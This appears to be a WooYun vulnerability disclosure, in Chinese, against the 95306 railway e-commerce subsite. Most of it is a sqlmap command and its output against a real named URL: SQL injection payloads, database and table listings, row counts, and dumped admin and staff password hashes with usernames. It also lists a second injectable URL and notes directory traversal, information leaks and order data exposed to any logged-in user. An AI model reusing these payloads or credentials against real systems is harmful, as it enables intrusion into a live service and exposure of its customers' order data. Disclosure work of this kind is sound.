WooYun.org

95306主站

95306电子商务分站

0x00、SQL注入

sqlmap -u "https://xsp.95306.cn:443/page.asp?id=-1"

---
Parameter: id (GET)
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries (comment)
Payload: id=-1;WAITFOR DELAY '0:0:5'--
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: id=-1 UNION ALL SELECT NULL,NULL,NULL,NULL,CHAR(113)+CHAR(107)+CHAR(112)+CHAR(107)+CHAR(113)+CHAR(102)+CHAR(73)+CHAR(121)+CHAR(71)+CHAR(76)+CHAR(119)+CHAR(76)+CHAR(117)+CHAR(107)+CHAR(99)+CHAR(113)+CHAR(98)+CHAR(118)+CHAR(98)+CHAR(113),NULL,NULL--
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, Microsoft IIS 7.5, ASP
back-end DBMS: Microsoft SQL Server 2008
available databases [7]:
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] stepgozsdata
[*] tempdb
---
current user is DBA: False
---
Database: stepgozsdata
[24 tables]
+------------------+
| KDZF |
| about |
| adkefu |
| admin |
| banner |
| cart |
| complain |
| hzxx |
| i_pic |
| keywords |
| msg |
| news |
| orderfahuo |
| orderlist |
| pro_addattention |
| pro_addattention |
| pro_bclass |
| pro_brand |
| pro_class |
| pro_consultation |
| pro_fav |
| pro_score |
| vip_recived |
| vip_recived |
+------------------+
---
Database: stepgozsdata
+----------------------+---------+
| Table | Entries |
+----------------------+---------+
| dbo.vip_recived | 1713 |
| dbo.vip_recived | 1713 |
| dbo.cart | 836 |
| dbo.orderlist | 582 |
| dbo.pro_class | 426 |
| dbo.pro_bclass | 68 |
| dbo.KDZF | 63 |
| dbo.pro_brand | 22 |
| dbo.orderfahuo | 17 |
| dbo.about | 12 |
| dbo.banner | 6 |
| dbo.pro_fav | 5 |
| dbo.hzxx | 2 |
| dbo.pro_addattention | 2 |
| dbo.pro_addattention | 2 |
| dbo.adkefu | 1 |
| dbo.admin | 1 |
| dbo.complain | 1 |
| dbo.i_pic | 1 |
| dbo.keywords | 1 |
| dbo.msg | 1 |
| dbo.news | 1 |
| dbo.pro_consultation | 1 |
+----------------------+---------+
---
Database: stepgozsdata
Table: admin
[1 entry]
+----+------------------+-----------+
| id | adminpwd | adminname |
+----+------------------+-----------+
| 1 | 7a57a5a743894a0e | admin |
+----+------------------+-----------+
---
Database: stepgozsdata
Table: adkefu
[1 entry]
+----+--------+------------------+-----------+
| id | danwei | adminpwd | adminname |
+----+--------+------------------+-----------+
| 9 | P | fac8fbd2667c6995 | chouming |
+----+--------+------------------+-----------+
---
其中有大量货运订单详细信息。
另外，类似的注入还有好几处。
eg:
https://xsp.95306.cn:443/brand.asp?brand=-1
0x01、目录配置不当可遍历
eg:

以上列表中目录均可遍历。
0x02、敏感信息泄露

0x03、网站逻辑设计不当
任意已注册用户，登陆得到相同页面，包含特定订单信息。
未登陆页面：

登陆任意用户页面：

难道是测试专用页...?即便这样还是觉得有问题。